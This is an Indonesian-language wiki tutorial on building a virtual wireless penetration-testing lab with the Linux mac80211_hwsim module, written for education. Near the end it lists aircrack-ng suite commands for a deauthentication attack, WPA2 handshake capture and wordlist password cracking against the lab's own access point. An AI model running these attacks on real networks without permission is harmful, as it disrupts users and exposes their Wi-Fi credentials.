-
Notifications
You must be signed in to change notification settings - Fork 1
Home
- Pendahuluan
- Disclaimer
- Pengenalan mac80211_hwsim
- Persyaratan
- Topologi Lab
- Instalasi
- Setup Lab
- Simulasi Serangan
- Penutup

Wireless penetration testing memerlukan adapter fisik yang mendukung mode monitor dan packet injection, seperti Alfa AWUS036ACH (RTL8812AU) atau TP-Link TL-WN722N V1 (Atheros AR9271), yang harganya tidak murah dan tidak semua orang mampu membelinya.
Dokumentasi ini hadir sebagai solusi alternatif menggunakan modul kernel mac80211_hwsim untuk mensimulasikan interface wireless virtual di Linux, sehingga wireless penetration testing dapat dipelajari dan dipraktikkan tanpa perangkat keras tambahan dalam lingkungan yang terisolasi dan aman.
Warning
Dokumentasi ini dibuat semata-mata untuk keperluan edukasi. Jangan gunakan teknik yang dipelajari di sini pada jaringan atau perangkat tanpa izin eksplisit dari pemiliknya.

mac80211_hwsim adalah modul kernel Linux yang dikembangkan oleh Jouni Malinen dan telah tersedia sejak kernel versi 2.6.27. Modul ini dirancang khusus untuk mensimulasikan perangkat wireless virtual langsung di dalam kernel tanpa memerlukan adapter fisik apapun.
Nama mac80211_hwsim sendiri berasal dari dua bagian. mac80211 merujuk pada subsistem wireless kernel Linux yang mengimplementasikan protokol IEEE 802.11, sedangkan hwsim adalah singkatan dari hardware simulator. Jadi secara harfiah, mac80211_hwsim adalah simulator hardware untuk subsistem mac80211.
Modul ini banyak digunakan oleh developer kernel untuk menguji fitur wireless baru, oleh peneliti keamanan untuk mempelajari protokol Wi-Fi, serta oleh siapa saja yang ingin belajar wireless networking dan security tanpa harus memiliki adapter fisik.
mac80211_hwsim bekerja dengan mendaftarkan dirinya ke subsistem mac80211 sebagai driver hardware virtual. Ketika modul ini dimuat, kernel akan membuat sejumlah radio wireless virtual sesuai parameter yang diberikan. Setiap radio virtual ini kemudian muncul sebagai interface wireless (wlan0, wlan1, dst) yang dapat dikonfigurasi dan digunakan layaknya adapter fisik sungguhan.
Yang membuat mac80211_hwsim unik adalah cara ia mensimulasikan komunikasi antar interface. Alih-alih mengirimkan sinyal radio melalui udara, frame 802.11 yang dikirim oleh satu interface langsung diteruskan ke interface virtual lainnya di dalam kernel melalui mekanisme yang disebut hwsim_tx_frame. Proses ini sepenuhnya terjadi di dalam kernel tanpa melibatkan hardware apapun, sehingga komunikasi antar interface virtual berjalan dengan sangat cepat dan terisolasi dari dunia luar.
Karena mac80211_hwsim mendaftarkan diri di layer yang sama dengan driver fisik, semua layer di atasnya seperti mac80211, cfg80211, dan nl80211 tetap berjalan normal. Hal ini membuat seluruh tool wireless standar di Linux dapat berjalan di atasnya tanpa modifikasi apapun.
Selain interface wlan0, wlan1, dan seterusnya, mac80211_hwsim juga secara otomatis membuat satu interface khusus bernama hwsim0 saat modul di-load. Berbeda dengan interface wlan yang berperan sebagai AP atau client, hwsim0 adalah interface monitor yang berada langsung di jalur hwsim_tx_frame. Artinya, setiap frame 802.11 yang dikirim maupun diterima oleh semua virtual radio akan melewati hwsim0, sehingga interface ini dapat menangkap seluruh traffic antar virtual radio tanpa perlu mengaktifkan mode monitor secara manual menggunakan airmon-ng. hwsim0 dapat langsung digunakan bersama tool seperti tcpdump, wireshark, maupun airodump-ng untuk keperluan analisis dan monitoring traffic di dalam lab virtual.
Sebelum memahami peran mac80211_hwsim, perlu diketahui terlebih dahulu bagaimana Linux mengorganisasi subsistem wireless-nya. Linux Wi-Fi Stack tersusun atas beberapa layer yang saling bertingkat, mulai dari userspace di lapisan paling atas hingga driver hardware di lapisan paling bawah.

Userspace
Di lapisan paling atas terdapat tool yang digunakan langsung oleh pengguna. iw digunakan untuk mengkonfigurasi interface wireless seperti mengecek status, mengubah mode, atau melihat network yang tersedia. wpa_supplicant bertugas mengelola koneksi dari sisi STA (client), sedangkan hostapd bertugas menjalankan Access Point. Semua tool ini berkomunikasi ke kernel melalui mekanisme yang disebut Netlink socket.
Kernel Space
Kernel Space adalah lapisan inti dari sistem operasi Linux tempat seluruh subsistem wireless dikelola. Di sinilah semua permintaan dari userspace diproses, divalidasi, dan diteruskan ke driver yang sesuai. Tidak ada tool pengguna yang bisa mengakses lapisan ini secara langsung, melainkan harus melalui antarmuka yang telah disediakan oleh kernel.
nl80211
nl80211 adalah antarmuka Netlink yang menjadi jembatan komunikasi antara userspace dan kernel untuk segala hal yang berkaitan dengan wireless. Setiap perintah dari iw, wpa_supplicant, maupun hostapd akan diterjemahkan menjadi pesan Netlink dan dikirim melalui layer ini.
cfg80211
cfg80211 adalah Configuration API yang berada di dalam kernel. Layer ini bertugas memvalidasi konfigurasi wireless, mengelola aturan regulasi frekuensi per negara, serta menjadi perantara antara nl80211 di atas dan mac80211 di bawahnya. Semua driver wireless modern di Linux harus berinteraksi melalui cfg80211.
mac80211
mac80211 adalah implementasi penuh dari protokol IEEE 802.11 di dalam kernel Linux. Layer ini menangani manajemen frame 802.11, proses asosiasi dan autentikasi, enkripsi (WEP, WPA, WPA2), serta power management. Layer inilah yang membuat sebuah driver wireless bisa berfungsi sebagai jaringan Wi-Fi yang sesungguhnya.
mac80211_hwsim vs Driver Fisik
Di lapisan paling bawah inilah perbedaan antara hardware nyata dan virtual terjadi. Pada kondisi normal, mac80211 akan berkomunikasi dengan driver fisik seperti ath9k untuk chip Atheros atau rtl8812au untuk chip Realtek, yang kemudian mengontrol adapter fisik secara langsung melalui hardware.
mac80211_hwsim menggantikan posisi driver fisik tersebut. Alih-alih mengontrol hardware nyata, mac80211_hwsim mensimulasikan komunikasi antar interface wireless secara virtual di dalam kernel itu sendiri. Karena posisinya ada di layer yang sama dengan driver fisik, semua layer di atasnya (mac80211, cfg80211, nl80211) tetap berjalan normal tanpa perlu modifikasi apapun. Inilah alasan mengapa tool seperti aircrack-ng, hostapd, dan wpa_supplicant bisa berjalan di atas interface virtual mac80211_hwsim persis seperti saat berjalan di atas adapter fisik sungguhan.
Meskipun bersifat virtual, mac80211_hwsim mendukung sebagian besar fitur yang dimiliki adapter fisik pada umumnya.
Mode operasi yang tersedia mencakup Access Point (AP) untuk membuat jaringan wireless, Managed (STA) untuk terhubung ke sebuah AP sebagai client, Monitor untuk menangkap semua frame di udara tanpa berasosiasi ke jaringan manapun, dan Ad-hoc untuk komunikasi peer-to-peer tanpa AP.
Dari sisi keamanan, mac80211_hwsim mendukung enkripsi WEP, WPA, WPA2, dan WPA3 dengan metode autentikasi PSK, SAE (Simultaneous Authentication of Equals), maupun Enterprise, sehingga simulasi serangan seperti capture handshake WPA/WPA2, password cracking, hingga pengujian ketahanan WPA3-SAE dapat dilakukan secara realistis.
mac80211_hwsim juga mendukung frame injection yang merupakan fitur krusial dalam wireless penetration testing. Fitur ini memungkinkan tool seperti aireplay-ng mengirimkan frame ke jaringan secara paksa, termasuk untuk keperluan serangan deauth.
Selain itu, modul ini mendukung beberapa virtual radio secara bersamaan, pergantian channel, dan berbagai mode frekuensi seperti 2.4GHz dan 5GHz.
Tabel berikut menggambarkan perbedaan antara mac80211_hwsim dan adapter fisik seperti Alfa AWUS036ACH atau TP-Link TL-WN722N V1.
| Aspek | mac80211_hwsim | Adapter Fisik |
|---|---|---|
| Biaya | Gratis | Rp 300.000 - Rp 1.500.000 |
| Setup | Cukup load modul kernel | Perlu driver tambahan |
| Mode Monitor | Didukung | Didukung (tergantung chipset) |
| Frame Injection | Didukung | Didukung (tergantung chipset) |
| Sinyal RF Nyata | Tidak ada | Ada |
| Interferensi & Noise | Tidak disimulasikan | Ada |
| Jangkauan Sinyal | Tidak relevan | Terbatas jarak fisik |
| Portabilitas | Berjalan di VM sekalipun | Butuh port USB fisik |
| Cocok untuk Belajar | Sangat cocok | Cocok |
| Cocok untuk Real Testing | Tidak | Ya |
Dari tabel di atas terlihat bahwa mac80211_hwsim unggul dari sisi aksesibilitas dan kemudahan setup, sementara adapter fisik unggul dalam hal realisme kondisi jaringan. Untuk keperluan pembelajaran seperti yang dibahas dalam dokumentasi ini, mac80211_hwsim adalah pilihan yang sangat praktis karena seluruh proses dapat dilakukan hanya dengan sebuah mesin Linux tanpa biaya tambahan apapun.
- Linux (Kernel >= 2.6.27)
-
mac80211_hwsim: Modul kernel Linux untuk mensimulasikan interface wireless virtual -
iw: Tool untuk mengkonfigurasi dan mengelola interface wireless di Linux -
hostapd: Tool untuk membuat Access Point virtual di Linux -
dnsmasq: Tool untuk membuat DHCP Server dan DNS forwarder -
wpa_supplicant: Tool untuk menghubungkan STA (client) ke Access Point -
airmon-ng: Tool untuk mengaktifkan mode monitor pada interface wireless -
airodump-ng: Tool untuk melakukan scan dan capture paket pada jaringan Wi-Fi -
aireplay-ng: Tool untuk menjalankan serangan (seperti deauthentication) pada jaringan Wi-Fi -
aircrack-ng: Tool untuk meng-crack kunci WEP dan WPA/WPA2-PSK dari hasil capture

Daftar interface:
-
wlan0: digunakan olehhostapd&dnsmasq -
wlan1: digunakan olehwpa_supplicant -
wlan2: digunakan oleh tools pengujian
sudo apt-get update
sudo apt-get install iw hostapd dnsmasq wpasupplicant isc-dhcp-client aircrack-ngmodinfo mac80211_hwsimsudo modprobe mac80211_hwsim radios=3Load modul secara otomatis saat boot:
echo "mac80211_hwsim" | sudo tee /etc/modules-load.d/mac80211_hwsim.conf
echo "options mac80211_hwsim radios=3" | sudo tee /etc/modprobe.d/mac80211_hwsim.confiw devsudo ip addr flush dev wlan0
sudo ip addr add 10.10.10.1/24 dev wlan0
sudo ip link set wlan0 upNote
IP address ini bersifat sementara dan akan hilang saat sistem di-reboot.
nano hostapd.confIsi dengan:
interface=wlan0
driver=nl80211
ssid=WPA2-Personal
hw_mode=g
channel=6
country_code=ID
auth_algs=1
wpa=2
wpa_passphrase=12345678
wpa_key_mgmt=WPA-PSK
rsn_pairwise=CCMPsudo systemctl stop NetworkManager
sudo systemctl stop wpa_supplicantsudo hostapd hostapd.confnano dnsmasq.confIsi dengan:
interface=wlan0
bind-interfaces
dhcp-range=10.10.10.2,10.10.10.254,255.255.255.0,12h
dhcp-option=3,10.10.10.1
port=0
log-dhcpsudo dnsmasq -C dnsmasq.conf -dnano wpa_supplicant.confIsi dengan:
network={
ssid="WPA2-Personal"
psk="12345678"
key_mgmt=WPA-PSK
}sudo wpa_supplicant -D nl80211 -i wlan1 -c wpa_supplicant.confsudo dhclient wlan1# Cek status koneksi
iw dev wlan1 link
# Cek IP yang didapat
ip addr show wlan1sudo airmon-ngsudo airmon-ng start wlan2Setelah mode monitor aktif, nama interface wlan2 akan berubah menjadi wlan2mon.
sudo aireplay-ng -9 wlan2mon
Output:
23:20:33 Trying broadcast probe requests...
23:20:33 Injection is working!
23:20:35 Found 1 AP
sudo airodump-ng -t wpa wlan2monsudo airodump-ng -d [bssid] -c [channel] -w [output] wlan2monsudo aireplay-ng -0 10 -a [bssid] -c [mac_client] wlan2monaircrack-ng -a 2 [file_capture] -w [wordlist]Meskipun lab virtual ini cukup untuk keperluan pembelajaran, terdapat beberapa keterbatasan yang perlu diperhatikan.
- Interface wireless virtual tidak memiliki karakteristik sinyal nyata seperti jangkauan, interferensi, dan noise.
- Kecepatan capture paket dan throughput jauh di bawah adapter fisik pada umumnya.
- Seluruh konfigurasi bersifat sementara dan akan hilang saat sistem di-reboot.

Melalui dokumentasi ini, kita telah berhasil membangun sebuah lab virtual wireless hacking yang sepenuhnya berjalan tanpa memerlukan hardware tambahan. Dengan memanfaatkan modul kernel mac80211_hwsim, kita dapat mensimulasikan tiga interface wireless virtual (wlan0, wlan1, wlan2) yang masing-masing berperan sebagai Access Point, client, dan interface pengujian.
Dari lab ini kita juga telah mempelajari dan mempraktikkan alur kerja dasar wireless penetration testing, mulai dari membangun infrastruktur jaringan wireless virtual menggunakan hostapd, dnsmasq, dan wpa_supplicant, hingga melakukan simulasi serangan nyata seperti capture handshake WPA/WPA2, serangan deauth, dan password cracking menggunakan aircrack-ng.
Pendekatan ini sangat berguna bagi siapa saja yang ingin belajar wireless security tanpa harus mengeluarkan biaya untuk membeli adapter fisik khusus, sekaligus memastikan bahwa seluruh proses latihan berlangsung dalam lingkungan yang terisolasi dan tidak merugikan pihak lain.